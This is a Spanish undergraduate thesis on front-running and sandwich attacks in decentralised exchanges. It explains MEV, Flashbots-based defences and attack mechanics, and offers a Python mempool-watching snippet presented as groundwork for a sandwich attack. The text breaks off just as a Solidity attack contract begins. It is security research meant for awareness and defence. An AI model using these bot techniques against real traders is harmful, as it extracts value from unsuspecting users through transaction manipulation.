UNIVERSIDAD DE MÁLAGA

Ingeniería Informática

Concienciación de Ataques Front Running en Entornos Blockchain
Awareness of Front Running Attacks in Blockchain Environments

Realizado por
José Manuel Rodríguez Chicano

Tutorizado por
Isaac Agudo Ruiz

Departamento
Lenguaje y Ciencias de la Computación,
UNIVERSIDAD DE MÁLAGA

MÁLAGA, 4 de junio

UNIVERSIDAD DE MÁLAGA
GRADO EN INGENIERÍA INFORMÁTICA

Concienciación de Ataques Front Running en Entornos Blockchain
Awareness of Front Running Attacks in Blockchain Environments

Realizado por
José Manuel Rodríguez Chicano
Tutorizado por
Isaac Agudo Ruiz
Departamento
Lenguaje y Ciencias de la Computación

UNIVERSIDAD DE MÁLAGA
MÁLAGA, 4 de junio

Fecha defensa:
El Secretario del Tribunal

Resumen:

Esta investigación de fin de grado analiza y simula ataques Front Running sobre blockchain, especialmente en intercambios descentralizados (DEX). Se realiza un análisis y una aproximación Red Team, en la cual se desarrolla un bot que permite realizar ataques sandwich tanto en un entorno simulado como en una réplica local del ecosistema Uniswap. El principal objetivo ha consistido en conocer la lógica ofensiva que hay detrás de estos tipos de ataques para concienciar y mejorar las defensas del ecosistema DeFi. Este trabajo no solo se ha centrado en describir la información que se han encontrado sobre vulnerabilidades, sino que también permite crear un entorno reproducible, el cual puede ser útil para la educación y la experimentación.

Palabras claves: Front Running, MEV, blockchain, ataques sandwich, Red Team, DeFi, Uniswap, mempool, ciberseguridad, simulación.

Abstract:

This undergraduate thesis analyzes and simulates Front Running attacks on blockchain, especially on decentralized exchanges (DEX). An analysis and a Red Team approach are conducted, in which a bot is developed that allows for sandwich attacks both in a simulated environment and in a local replica of the Uniswap ecosystem. The main objective has been to understand the offensive logic behind these types of attacks to raise awareness and improve the defenses of the DeFi ecosystem. This work has not only focused on describing the information found about vulnerabilities but also allows for the creation of a reproducible environment, which can be useful for education and experimentation.

Keywords: Front Running, MEV, blockchain, sandwich attacks, Red Team, DeFi, Uniswap, mempool, cybersecurity, simulation

Índice de contenidos

1. Introducción **1**
- 1.1. Motivación . . . 1
- 1.2. ¿Qué es y como funciona la blockchain? . . . 3
- 1.3. ¿Qué son las criptomonedas? . . . 5
- 1.4. ¿Qué son los contratos? . . . 6
- 1.5. ¿Qué es el DEX? . . . 6
- 1.6. Riesgos relacionados con el Front Running . . . 7
- 1.7. Herramientas de mitigación de riesgos . . . 8

2. Análisis Técnico **11**
- 2.1. Análisis Técnico de los Ataques Front Running . . . 11
  - 2.1.1. Sandwich Attacks . . . 11
  - 2.1.2. Back Running . . . 12
  - 2.1.3. Insert Running . . . 13
  - 2.1.4. Análisis del mempool de Ethereum . . . 13
  - 2.1.5. Herramientas Principales . . . 14
  - 2.1.6. Ejemplos de Código . . . 14

3. Impacto y Análisis Ético-Legal **17**
- 3.1. Marco Legal y Regulaciones . . . 17
  - 3.1.1. Europa: MiCA y la supervisión de abuso de mercado . . . 17
  - 3.1.2. Estados Unidos: la Crypto Task Force y la visión de la SEC . . . 17
  - 3.1.3. Asia-Pacífico: diversidad de enfoques . . . 18
- 3.2. Consecuencias Éticas . . . 18
  - 3.2.1. Transparencia versus abuso . . . 18
  - 3.2.2. El papel del Red Team en ciberseguridad . . . 18
- 3.3. Estrategias Anti-MEV . . . 19
  - 3.3.1. Commit–Reveal y Submarine Sends . . . 19
  - 3.3.2. Proposer–Builder Separation (PBS) . . . 19
  - 3.3.3. Mejoras en Ethereum 2.0 . . . 19

4. Desarrollo e Implementación de un Bot de Simulación de Ataques **21**
- 4.1. Entorno Blockchain de Pruebas . . . 22
  - 4.1.1. Kurtosis . . . 22
  - 4.1.2. Hardhat . . . 23
  - 4.1.3. Inicio de Red . . . 25
- 4.2. Escenario 1: DEX ficticio . . . 25

4.3. Escenario 2: Réplica Uniswap Local . . . 33
4.4. Resultados y Análisis . . . 46
4.4.1. Ejecución de Simulación Controlada (DEX ficticio) . . . 46
4.4.2. Ejecución de Uniswap Local . . . 47
4.4.3. Estrategias para Incluir el Backrun en el Mismo Bloque . . . 49
4.4.4. Diferencias entre simulaciones . . . 51

5. Resultados **53**
5.1. Conclusiones . . . 53
5.2. Futuras líneas de trabajo . . . 54

Bibliografía **55**

Apéndice A. Instrucciones de Instalación del Entorno de Simulación **61**
A.1. Máquina Virtual . . . 61
A.2. Docker . . . 61
A.2.1. Instalación . . . 61
A.3. NodeJS y NPM . . . 62
A.3.1. Instalación . . . 62
A.4. Kurtosis . . . 62
A.4.1. Instalación . . . 62
A.4.2. Parámetros de la red . . . 62
A.4.3. Inicializar la red . . . 63
A.5. Hardhat . . . 64
A.5.1. Instalación . . . 64
A.5.2. Configuración . . . 65

Apéndice B. Scripts y Contratos a ejecutar en proyecto Hardhat **67**
B.0.1. Contratos . . . 67
B.0.2. Scripts . . . 70
B.0.3. Logs . . . 80

CAPÍTULO 1

Introducción

1.1. Motivación

El impacto de la **tecnología blockchain** ha sido significativo en diversos sectores, como las **finanzas descentralizadas (DeFi)**, facilitando la implementación de contratos inteligentes sin la necesidad de intermediarios. A pesar de sus beneficios, esta transparencia ha expuesto vulnerabilidades, como los ataques **Front Running**, donde individuos malintencionados manipulan el orden de las transacciones en su propio beneficio, lo que ha resultado en pérdidas considerables en plataformas DeFi, especialmente con los llamados **Sandwich Attacks**.

Aunque el **Front Running** se ha vuelto común en el ámbito de la blockchain, no es un fenómeno nuevo. En los mercados financieros tradicionales, esta práctica ha sido empleada durante mucho tiempo para aprovechar información privilegiada. Un ejemplo destacado tuvo lugar durante el **Lunes Negro** del 19 de octubre de 1987, cuando el índice **Dow Jones Industrial Average** experimentó una caída histórica de 508 puntos, ocasionando pérdidas estimadas en alrededor de **1 billón de dólares**. Tras esta crisis, diversos análisis señalaron problemas regulatorios, incluido el **Front Running**, donde los operadores se beneficiaban al utilizar información anticipada sobre transacciones de gran envergadura antes de su ejecución (Markham, 1988).

Originalmente, el **Front Running** estaba asociado a la compraventa de **acciones y contratos de futuros**, pero con la evolución de los mercados financieros y la introducción de la **tecnología blockchain**, se ha observado que esta práctica ha encontrado un nuevo escenario en el ecosistema **DeFi**. En este contexto, los atacantes tienen la capacidad de monitorear las transacciones pendientes en el **mempool de Ethereum** y llevar a cabo órdenes estratégicas para manipular el precio de los activos antes de que sean procesados por la red.

Este tipo de ataque **mina la confianza** en los mercados descentralizados, impactando tanto a pequeños inversores como a grandes protocolos financieros. En las plataformas **DeFi**, los traders pueden ser víctimas de manipulaciones de precios, adquiriendo activos a valores inflados artificialmente o vendiéndolos por debajo de su valor real. Esta falta de equidad no solo conlleva pérdidas económicas inmediatas, sino que también **socava la confianza** en la promesa de un mercado descentralizado y transparente. (Białas, 2023).

Aunque el **Front Running** no afecta de la misma manera a todas las **aplicaciones descentralizadas (dApps)**, su presencia está relacionada con **deficiencias en el diseño de contratos inteligentes** y características específicas de ciertas **blockchains** que permiten la manipulación del orden de las **transacciones en el mempool**. Incluso cuando se establecen límites de precio en una transacción, los mineros pueden alterar la cola de transacciones, dejando órdenes sin ejecutar pero cobrando las comisiones de igual manera. (Białas, 2023).

Además, el miedo al **Front Running** desalienta la participación en plataformas **DeFi**, lo que limita su crecimiento y adopción. En situaciones de ataques a gran escala, estas tácticas pueden incrementar **la volatilidad del mercado y generar inestabilidad sistémica**, lo que afecta la percepción de la **tecnología blockchain** en su totalidad (Białas, 2023).

Recientes incidentes han evidenciado la gravedad de esta problemática. En **noviembre de 2024**, BNB Chain sufrió una serie de **ataques Sandwich** que impactaron a miles de comerciantes. Informes indican que en tan solo una semana se identificaron 6**45 bots Sandwich activos**, afectando a aproximadamente **43,400 operadores de DEX**. Durante ese periodo, el volumen de transacciones en el DEX de BNB Chain alcanzó los **$9.232 millones**, de los cuales **$1.322 millones fueron generados por transacciones de bots Sandwich** (CryptoPotato, 2024).

Las vulnerabilidades en blockchain han dado lugar a **múltiples ataques** que comprometen la seguridad y equidad de las transacciones. Entre estos, el **Front Running** destaca por su facilidad de ejecución y su impacto directo en los mercados descentralizados. A diferencia de ataques como la **reentrada**, que explotan errores en la ejecución de contratos inteligentes (como el hack de **The DAO en 2016**), o los **ataques Sybil**, donde un atacante crea múltiples identidades falsas para manipular consensos, el **Front Running aprovecha la propia transparencia del mempool**, permitiendo que actores malintencionados reordenen transacciones en su beneficio.

Además, mientras que ataques como el **Eclipse Attack** buscan aislar nodos de la red y el **ataque del 51 %** requieren un control mayoritario del poder de minado, el **Front Running puede ser ejecutado con herramientas automatizadas y sin necesidad de comprometer la infraestructura subyacente de la blockchain**.

A pesar de los avances en mitigación, la mayoría de los estudios y herramientas existentes se centran en **defensas contra estos ataques**, dejando de lado un análisis profundo desde la **perspectiva ofensiva**. Un enfoque **Red Team** es crucial para entender cómo operan realmente estos ataques y concienciar a los desarrolladores y usuarios sobre su peligrosidad.

El consiguiente **Trabajo de Fin de Grado** intenta analizar y simular ataques **Front Running** en entornos controlados para exponer sus riesgos de manera práctica y educativa. Al proporcionar una visión detallada de cómo se explotan estas vulnerabilidades, se espera contribuir a la comprensión del problema y servir como base para futuras investigaciones en seguridad blockchain.

1.2. ¿Qué es y como funciona la blockchain?

Esta idea de sistema, que se planteaba por primera vez el **31 de octubre de 2008** con el documento **'Bitcoin: A Peer-to-Peer Electronic Cash System'** de **Satoshi Nakamoto**, proyecta un sistema de **contabilidad distribuida** y una **criptomoneda descentralizada**. Este sistema permitiría realizar transacciones directamente entre dos partes sin necesidad de intermediarios, mediante el uso de criptografía y de una **red descentralizada de computadoras** para validar y registrar las transacciones en una **cadena de bloques digital** (BBVACommunications, 2024). Básicamente, blockchain es una tecnología que, sin la intermediación de terceros, nos permite llevar a cabo transacciones digitales de forma segura, rápida y descentralizada.

- **Segura**: gracias a la **criptografía**, una práctica informática en la que se basa la tecnología blockchain. Las operaciones que tienen lugar en un **entorno blockchain** quedan **encriptadas** mediante un código.
- **Rápida**: la tecnología blockchain es altamente eficiente al permitir procesar una gran cantidad de información en poco tiempo. Lo que **agiliza** las transacciones que se llevan a cabo.
- **Descentralizada**: no depende de terceros. Esto quiere decir, no hay ningún organismo o institución detrás de las operaciones, que se hacen entre las partes interesadas a través de la red blockchain. En otras palabras, **sin intermediarios** (Villanueva, 2024).

La blockchain funciona con un **registro distribuido**; cuando se realiza una transacción, esta se agrupa con otras en un **bloque**. Este bloque se distribuye a través de una **red de nodos** (computadoras) conectadas a la **red blockchain**, formando una **cadena de datos** que reflejan la secuencia de las transacciones y el tiempo exacto, uniéndose para que no se altere ni cambie la información, con **total seguridad**.

Cada bloque contiene la **huella de la transacción** y el usuario que la ha llevado a cabo. Además, disponen de **validación y consenso**; los nodos de la red **verifican** la transacción utilizando **algoritmos de consenso.** Si la mayoría de esos nodos decide que esa transacción es **correcta**, la transacción se agrega al bloque, aunque estos bloques tienen una capacidad de transacciones limitada; por eso, una vez que el bloque está **lleno y validado**, se añade a la cadena existente de bloques de manera **cronológica** y **secuencial**, creando así una cadena de bloques o blockchain.

Cada bloque en la cadena está **enlazado** con el **bloque anterior** utilizando funciones criptográficas. Esto hace que la alteración de cualquier bloque sea **extremadamente difícil**, garantizando la seguridad y la integridad de la información almacenada en la blockchain (Villanueva, 2024).

Figura 1.1: Funcionamiento de tecnología blockchain.

El triunfo del blockchain en la sociedad actual se debe a la **descentralización**; permitiendo que cualquiera pueda participar en **igualdad de condiciones**, registrando la actividad acordada por consenso.

Para conseguirlo, se implementan tres capas:

Una **capa de consenso**, donde se establece la confianza de los participantes en el sistema a través de un protocolo de **consenso distribuido** (***Proof-of-Work*** en Bitcoin) que, como si un proceso de oposición a plazas públicas se tratara, incentiva a los **nodos participantes** a dedicar **recursos de procesamiento y almacenamiento** a cambio de poder obtener una recompensa en **dinero electrónico** (cuanto mayor esfuerzo estudiando, en principio, más posibilidades de conseguir una plaza pública).

La **capa de red**, una **red P2P** de nodos en cada uno de los cuales se ejecuta el **algoritmo público**, de código abierto, que valida y propaga las transacciones funcionales, agrupándolas en un bloque de tamaño determinado. Este bloque asocia un **problema criptográfico** (un examen, siguiendo el símil de la oposición pública) cuya solución, "arbitrada" por el protocolo de consenso, supondrá una recompensa en cibermonedas al nodo vencedor. De esta manera, su bloque pasará a formar parte inmutable de la **cadena final** que almacena cada uno de los nodos.

Una **capa de aplicación**, que se implementa en el algoritmo, junto al **protocolo de consenso**, para establecer la funcionalidad del sistema, y que permite que quede registrada en la cadena una prueba irrefutable de quién es propietario de qué y qué ha sido gastado y recibido.

El **éxito** inicial entre las primeras comunidades de entusiastas de Bitcoin se debió, en gran parte, a las **recompensas en cibermonedas** que recibían por soportar el sistema (minería) (Pérez, 2019).

1.3. ¿Qué son las criptomonedas?

Las **criptomonedas** son activos digitales que operan sobre redes descentralizadas —como Ethereum o Bitcoin— respaldadas por tecnología criptográfica y cadenas de bloques (Kaur, 2024). A diferencia del dinero tradicional emitido por gobiernos o bancos centrales, son independientes y su existencia se basa en algoritmos y consenso distribuido. Cada transacción se registra en un bloque, validado por nodos de la red, lo que garantiza transparencia, inmutabilidad y seguridad . Como medio de intercambio, las criptomonedas permiten enviar y recibir valor digital sin intermediarios, pero también sirven como base para activos más complejos o tokens dentro de ecosistemas descentralizados.

Dentro del ecosistema cripto, distinguimos dos grandes categorías:

Stablecoins

- **Definición**: su valor está ligado ("pegged") a activos estables como el dólar o el oro.
- **Mecanismos**:
  - Collateralización con fiat o activos (USDT, USDC).
  - Crypto colateralizado (DAI).
  - Algorítmico (UST, que tras su crash demostró riesgo).
- **Funciones**: sirven como medio de intercambio, ahorro en crypto y puente entre redes, permitiendo transacciones con menos volatilidad y sin convertir a fiat.

Ejemplos:

- **USDT (Tether)**: stablecoin líder, pero con controversia sobre reservas.
- **USDC (Circle)**: emisión más regulada y transparente, con respaldo en liquidez real.

Altcoins (no estables)

- **Definición**: criptos cuyo precio fluctúa libremente según oferta y demanda, sin respaldo de activos.
- **Ventajas**: alta revalorización si tienen adopción o tecnología destacada.
- **Desventajas**: alto riesgo, volatilidad intensa.

Ejemplos:

- **Bitcoin (BTC)**: pionero, con valoración basada en escasez y red.
- **Dogecoin (DOGE)**: ejemplo de altcoin con alta volatilidad y respaldo comunitario.

1.4. ¿Qué son los contratos?

Los contratos inteligentes son simplemente programas almacenados en una cadena de bloques que se ejecutan cuando se cumplen condiciones predeterminadas.

Por lo general, se utilizan para automatizar la ejecución de un acuerdo para que todos los participantes puedan estar seguros de inmediato del resultado, sin la participación de ningún intermediario o pérdida de tiempo.

También pueden automatizar un flujo de trabajo, activando la siguiente acción cuando se cumplen las condiciones.

Solidity es el lenguaje principal para escribir smart contracts en Ethereum y en otras blockchains compatibles (*Solidity* s.f.). Su sintaxis es similar a JavaScript o C++, aunque con tipado estático y características orientadas a contratos.

1. **Escritura del contrato**. El desarrollador programa en `.sol`, definiendo funciones, variables de estado y eventos.
2. **Compilación con `solc`**. El compilador transforma el código en *bytecode*, instrucciones legibles por la Ethereum Virtual Machine (EVM), y en la *ABI* (interfaz binaria de aplicación).
3. **Despliegue**. Se crea una transacción que incluye el bytecode. Al minarse, la EVM lo ejecuta, reservando una dirección donde residirá el contrato.
4. **Interacción posterior**. Desde esa dirección, cualquier usuario o dApp puede invocar funciones del contrato, enviando transacciones que actualizan su estado.

Este flujo –escritura, compilación, despliegue e interacción– permite llevar un programa desde tu ordenador hasta la blockchain, con ejecución descentralizada, verificada y garantizada.

1.5. ¿Qué es el DEX?

Un **Exchange Descentralizado (DEX)** es un mercado peer-to-peer donde los usuarios intercambian tokens directamente entre sí, sin intermediarios centralizados (*Introduction to Smart Contracts* s.f.). Los DEX funcionan mediante smart contracts que gestionan reservas de tokens y ejecutan swaps basados en algoritmos (como Automated Market Maker, AMM).

- Ejemplos destacados: **Uniswap** (Ethereum) y **PancakeSwap** (Binance Smart Chain).
- El usuario conecta su wallet, aprueba permisos y llama a funciones del contrato para intercambiar tokens .

- No hay custodia de fondos: tú mantienes el control total.
- Los precios son definidos por algoritmos (p. ej. constante $x \cdot y = k$) y existen tipos de DEX: AMM, order book y agregadores.

1.6. Riesgos relacionados con el Front Running

Definición y mecánica básica

En redes como Ethereum, las transacciones, antes de ser incluidas en un bloque, permanecen visibles en el mempool, una especie de sala de espera pública donde cualquier nodo o bot puede verla antes de que un validador la incluya en un bloque, permitiendo a atacantes identificar operaciones rentables y enviar las suyas con comisiones más elevadas para adelantarse en la cola de ejecución (Vincent Gramlich, 2024).

Esta visibilidad previa permite a un atacante de front-running identificar transacciones rentables (por ejemplo, grandes órdenes en un exchange descentralizado).

Construir y enviar su propia transacción ajustando la comisión de gas para que se incluya antes que la original.

Capturar la oportunidad de arbitraje al ejecutarse primero.

Este fenómeno, denominado Front-Running, incluye variantes como desplazamiento (displacement), el atacante reemplaza la transacción objetivo con la suya propia, inserción (insertion), el atacante inserta una o varias transacciones propias entre la original y las que van a continuación, y supresión (suppression), el atacante fuerza un aumento del precio del gas hasta que la transacción legítima falla por falta de fondos suficientes, según la forma de interferir con la transacción original (Białas, 2023).

En un escenario típico, el atacante monitoriza la red, observa una orden de compra o venta en DeFi, y envía de inmediato su propia orden antes de que la primera sea minada, capturando la oportunidad de arbitraje (Arxiv, s.f.).

Impacto en la seguridad y equidad

La capacidad de manipular el orden de inclusión afecta directamente la eficiencia al generar fricción de gas y puede hacer fracasar transacciones legítimas, pues los contratos inteligentes no tienen garantizada su inclusión inmediata (Christof Ferreira Torres, 2021).

Además, al priorizar a quienes ofrecen comisiones más altas, se crea un sesgo de acceso monetario: los usuarios con mayor capacidad de pago o infraestructura (bots de alta frecuencia) obtienen ventajas sistemáticas frente a usuarios comunes (Maddipati Varun, 2022). Estas prácticas dañan la confianza en protocolos DeFi y amenazan la descentralización al concentrar beneficios en manos de mineros y operadores de bots (Clark, 2021).

Modelos teóricos y asignación de recursos

Capponi ha analizado las ineficiencias alocativas derivadas de la transparencia del mempool y propuesto el uso de *private pools* de transacciones: canales o relays donde los pedidos no se exponen al mempool público hasta que el bloque está prácticamente firmado.

Demuestran que esta privacidad selectiva reduce la competencia irracional por el gas y aumenta el bienestar social agregado (Caponni, 2023). Struchkov et al. clasifican los ataques de Front-Running y Back-Running, detallando sus secuencias y cuantificando su impacto en la viabilidad de transacciones DeFi (Vincent Gramlich, 2024).

Estudios empíricos y experimentales

Torres et al. realizaron un estudio empírico sobre la frecuencia y tipo de ataques en Ethereum, describiendo la prevalencia de ataques de desplazamiento y su efecto en los precios spot de tokens populares (Christof Ferreira Torres, 2021).

Por su parte, el análisis de MEV en Galaxy Research traza la evolución histórica de la explotación de valor extraíble y evalúa las consecuencias en la estabilidad de la red, destacando la necesidad de soluciones coordinadas entre validadores y buscadores de MEV (Kim, 2022).

Marcos de clasificación y defensa

En el artículo *FRACE*, publicado en Oxford University Press, se presenta un marco de clasificación basado en secuencias de ataque que permite categorizar variantes avanzadas y diseñar defensas adaptativas (Yuheng Zhang, 2025).

Además, Eskandari et al. reúnen en su SoK (*Systematization of Knowledge*) una revisión de estrategias de mitigación, desde retrasos aleatorios en la inclusión hasta protocolos de encriptación de la mempool, ofreciendo un catálogo de contramedidas con sus ventajas y limitaciones (Shayan Eskandari, 2019).

1.7. Herramientas de mitigación de riesgos

El ecosistema DeFi ha visto un crecimiento acelerado en la complejidad de ataques fundamentados en MEV (Máximo Valor Extraible), tales como el front-running y los sandwiches. Estos ataques constituyen un peligro auténtico para los usuarios y programadores, quienes intentan salvaguardar tanto su patrimonio como la integridad de sus aplicaciones. En este escenario, han surgido múltiples soluciones en varias capas del stack de Ethereum: desde protocolos para la transacción de envío hasta herramientas de seguimiento y análisis, incluyendo propuestas de diseño para capas de ejecución más seguras. A continuación, se examinan las herramientas fundamentales, su funcionamiento y los desafíos relacionados.

Flashbots y el ecosistema MEV

Flashbots ha sido pionero en ofrecer un enfoque transparente y eficiente frente al problema del MEV. Su sistema de separación de funciones, conocido como **Proposer-Builder Separation (PBS)**, permite que los constructores de bloques (builders) compongan bloques optimizados y los propongan directamente sin exponerlas al mempool público (Khan, 2023).

Una rama de su solución, **Flashbots Protect**, se presenta como un acceso privado al mempool. Al enviar transacciones a través de Protect, estas no se exponen a bots públicos de front-running o sandwich. Además, el sistema permite obtener **reembolsos por MEV** o por tarifas excesivamente elevadas, gracias a la comprensión de que la transacción puede generar valor adicional (*Flashbot Documentation* 2024). Algunas ventajas clave:

- **Privacidad total hasta la inclusión en bloque**: ninguna otra entidad puede leer el contenido.
- **Exención de comisiones por fallos**: si la transacción revierte, el usuario no paga gas.
- **Participación en reembolsos**, con algunos usuarios obteniendo hasta 90 % de su MEV.

El sistema se ha consolidado: desde 2021, más de 2,1M de cuentas han protegido 43000M$ en volumen DeFi, con un ahorro promedio de unos 5$ por transacción. Pese a ello, aún no es infalible: la inclusión depende de builders compatibles y, en entornos saturados, puede haber retrasos si no hay disponibilidad inmediata.

Desafíos actuales

- **Complejidad de integración** en entornos de alto uso.
- **Tiempo de inclusión**: usar RPC privado puede demorar más que el mempool público.

MEV-Inspect y MEV-Explore

Estas herramientas ofrecen monitoreo y análisis en tiempo real y retrospectivo:

- **MEV-Inspect (Python)**: rastrea patrones on-chain, detecta transacciones con MEV en cada bloque, y genera métricas para desarrolladores y auditores. Proporciona paneles para visualizar actividad sospechosa y tendencias (StanfordGoddy, 2022).
- **MEV-Explore (web)**: plataforma pública que ofrece una historia desde 2020: volumen diario de extracción, tokens más afectados, frecuencia de sandwicheos por par, etc. Crucial para entender la evolución de la actividad de MEV, identificar momentos de riesgo alto y cuantificar el impacto sobre los usuarios .

Estas herramientas permiten diseñar estrategias reactivas (ajuste de slippage, uso de RPC privados) y evaluativas (impacto real, frecuencia por pool) de forma objetiva.

Otras soluciones y herramientas de detección

Además de Flashbots, existen otros mecanismos:

- **Archer DAO**: ofrece un relay privado para envío de transacciones, evitando temporalmente exposición en el mempool público. Su trade-off involucra latencia de propagación y menor participación de validadores.
- **BloXroute**: red de distribución privada que reduce empujes de mempool y permite envío más confidencial. Sin embargo, depende de su infraestructura centralizada y con costos asociados.
- **Investigaciones académicas**: se exploran propuestas como:
  - **Mixnets** para ofuscar tiempo y orden de entrada de transacciones.
  - **Sistemas descentralizados de peering**, que evitan que se filtre la transacción por un solo nodo.
  - **F3B**: arquitectura que encripta transacciones hasta su inclusión definitiva, disminuyendo de forma drástica el riesgo de frontrunning antes de la confirmación.

Estas soluciones complementan los relays privados, ofreciendo protección en el nivel de enrutamiento y privacidad de la red, sin depender de mecanismos centralizados.

CAPÍTULO 2

Análisis Técnico

2.1. Análisis Técnico de los Ataques Front Running

En esta sección se desglosan con profundidad técnica los principales vectores de ataque Front Running en entornos DeFi: **Sandwich Attacks**, **Back Running** e **Insert Running**. Se examina la estructura y dinámica del **mempool** de Ethereum, conjunto crítico donde los atacantes obtienen visibilidad previa de transacciones. Se revisan las herramientas más relevantes —como **Flashbots RPC**, **Blocknative Mempool Explorer**, **MEV-Inspect-Py** y **Tenderly**— que facilitan la explotación o mitigación de MEV. Finalmente, se incluyen ejemplos de código en **Python** y **Solidity** para ilustrar detección y ejecución de estos ataques.

2.1.1. Sandwich Attacks

Un **Sandwich Attack** explota la fórmula de precios de los Automated Market Makers (AMM), inyectando dos operaciones antes y después de la transacción víctima para capturar la diferencia de precio generada por su swap (Bains, 2025). El proceso se divide en:

1. **Transacción "front"**: el atacante envía un swap de compra con un gas price ligeramente superior al de la víctima para asegurarse de que se mine primero en el mismo bloque (*Flashbot Documentation* 2024).
2. **Transacción "back"**: tras la ejecución de la víctima —que desplaza la curva de precios—, el atacante vende a un precio más alto, embolsándose la diferencia neta menos fees («Understanding Different MEV Attacks: Frontrunning, Backrunning and other attacks» 2024).

Mecanismo de formación de precios en AMM

Los AMM, como Uniswap v2/v3, usan la **curva de producto constante** $x * y = k$ para fijar precios. Cuando un usuario intercambia Δx de token X por token Y, la nueva reserva $x' = x + \Delta x$ cambia el precio implícito ($p = y/x$) y debe cumplirse $x' * y' = k$ (Tomar, 2023).

Factores clave

- **Slippage tolerado:** si la víctima acepta un slippage demasiado alto, el atacante dispone de mayor margen para extraer valor (Bains, 2025).
- **Liquidez de la pool**: pools pequeñas amplifican el impacto de las transacciones front, aumentando profit potencial (zehraina, 2024).
- **Optimización de gas price**: usar algoritmos PID o estimaciones on-chain para ajustar dinámicamente el precio del gas según congestión.

Ejemplo económico simplificado

Supongamos una pool con 1 000 ETH y 1 000 000 DAI ($p = 1000 DAI/ETH$). Si la víctima intercambia 10 ETH → DAI, el precio pasa a aproximadamente 1 001,00 DAI/ETH. Un atacante que compra 2 ETH antes y vende 2 ETH después podría generar un beneficio aproximado de $(2 * (1001) – 2 * 1000) – fees \approx 2$ DAI menos comisiones (Tomar, 2023).

Todo esto no deja de ser un ejemplo teórico de una situación muy idealizada para explicar las circunstancias. En situaciones reales no es fácil lograr un beneficio alto y habría que hacer una inmersión de cientos o miles de euros para obtener un pequeño beneficio que se reduce si además se le restan las comisiones.

2.1.2. Back Running

El **Back Running** consiste en insertar una operación inmediatamente **tras** una transacción objetivo para aprovechar movimientos de precio inducidos . A diferencia de Sandwich, no se coloca una transacción front, lo cual reduce la señalización al mercado.

Proceso de detección

1. **Monitoreo en tiempo real**: se utilizan nodos Web3.py/Ethers.js conectados por websockets para filtrar eventos `pending` en el mempool.
2. **Selección de objetivo**: se identifican swaps de alto valor o arbitrajes potenciales comparando precios across pools .

Arquitectura de un bot

- **Módulo de streaming**: captura tx hashes y detalles con `w3.eth.filter('pending')`.

- **Evaluador de profit**: simula localmente el efecto del swap víctima (usando Tenderly o fork de Hardhat) para estimar ganancia neta (Tenderly, 2025).
- **Gestor de gas price**: determina un gas price ligeramente inferior al de la víctima para que la ejecución ocurra justo después, equilibrando velocidad y coste.

Flujo de ejecución

1. Detectar transacción objetivo en mempool.
2. Estimar número de bloques hasta inclusión.
3. Calcular beneficio potencial y riesgos de slippage.
4. Enviar la transacción de back run.
5. Verificar inclusión on-chain y registrar profit.

2.1.3. Insert Running

El **Insert Running** agrupa cualquier inserción estratégica **entre** fases de una transacción víctima, frecuentemente usando **bundles atómicos** a través de **Flashbots** para evitar exposición en el mempool público (*Flashbot Documentation* 2024).

Bundles atómicos en Flashbots

- Una o varias transacciones (front, victim, back) se envían juntas como un **bundle** al RPC de Flashbots.
- Los bundles se simulan antes de minar, garantizando que no reviertan y maximizando profit sin pérdidas de gas innecesarias.

Técnicas de ofuscación

- **Fragmentación de órdenes**: dividir un swap grande en múltiples sub-swaps para reducir su huella en el bundle .
- **Rutas múltiples**: usar varios pools intermedios para evadir detección simple basada en selectores de función.

2.1.4. Análisis del mempool de Ethereum

El **mempool** es el "holding area" donde las transacciones esperan antes de ser incluidas en un bloque. Constituye la fuente primaria de información para cualquier atacante MEV (zehraina, 2024).

Estructura y propagación

- Cada nodo mantiene su propia vista local del mempool; las transacciones se organizan por gas price y nonce (Sumamno, s.f.).
- La propagación global puede tardar decenas de milisegundos: los atacantes aprovechan **eclipse attacks** o nodos múltiples (Infura, Alchemy, nodo propio) para obtener vistas ventajosas.

Herramientas de monitoreo

- **Etherscan Mempool Explorer**: interfaz web para inspeccionar txs pendientes por gas price y dirección.
- **Blocknative Mempool Explorer**: API en tiempo real que emite eventos al detectarse nuevas txs, útil para bots de trading.
- **Bitquery Mempool API**: ofrece endpoints REST y websockets para filtrar por token, dirección y gas price («Understanding Different MEV Attacks: Frontrunning, Backrunning and other attacks» 2024).

2.1.5. Herramientas Principales

- **Flashbots RPC** – Plataforma privada de envío de bundles que evita frontrunning en el mempool público y permite simular transacciones antes de enviarlas (Flashbots, s.f.).
- **MEV-Inspect-Py** – Inspector de MEV de Flashbots que extrae datos block by block, incluye swaps, arbitrajes y profit, con backend en Postgres para análisis histórico (Flashbots, 2023).
- **Web3.py / Ethers.js** – Librerías estándar para conectar bots al mempool, monitorizar `pending` y enviar transacciones programáticamente.
- **Tenderly** – Simulador de transacciones en fork de mainnet para probar estrategias sin riesgos on-chain (Tenderly, 2025).
- **Hardhat Network Fork** – Alternativa local en Node.js para simular bloques y mempool con límites de reversiones.

2.1.6. Ejemplos de Código

Python: Detección de swaps en mempool

```
from web3 import Web3
w3 = Web3(Web3.HTTPProvider("https://mainnet.infura.io/v3/YOUR_KEY"))
def handle_pending(tx_hash):
    tx = w3.eth.get_transaction(tx_hash)
    if tx.input and tx.input.startswith("0x38ed1739"):  # swapExactTokensForTokens
        print(f"Swap detectado: {tx_hash}")
w3.eth.filter('pending').watch(handle_pending)
```

1. **Conexión a Ethereum mediante Infura**

   Se crea una instancia de `Web3` apuntando a un nodo remoto proporcionado por Infura. Esto permite emitir llamadas RPC a la red principal de Ethereum sin necesidad de ejecutar un nodo propio.

2. **Filtro de transacciones pendientes**

   `w3.eth.filter('pending')` registra un filtro de tipo `TransactionFilter` que recibe todas las transacciones no minadas que el nodo Infura propaga.

3. **Callback para cada transacción**

   El método `.watch(handle_pending)` (equivalente a `get_new_entries()` recurrente) invoca `handle_pending` por cada nuevo `tx_hash` pendiente, permitiendo procesarlas en tiempo real.

4. **Recuperar datos de la transacción**

   Dentro de `handle_pending`, `w3.eth.get_transaction(tx_hash)` obtienen los detalles completos de la transacción (dirección `to`, valor `value`, `input`, gas price...).

5. **Detección del selector**

   El campo `tx.input` comienza con los 4 bytes del "function selector" de la llamada al contrato. Se verifica `input.startswith("0x38ed1739")`, que corresponde a la función `swapExactTokensForTokens(uint256,uint256,address[],address,uint256)` del router de Uniswap v2.

6. **Notificación de swaps**

   Si la condición se cumple, se imprime en consola el hash de la transacción. Así, el bot detecta instantáneamente cualquier intento de swap en Uniswap v2, útil para preparar un ataque Front Running tipo Sandwich front o back (*Uniswap Documentation* 2024).

Solidity: Contrato Sandwich Attack

```
pragma solidity ^0.8.0;
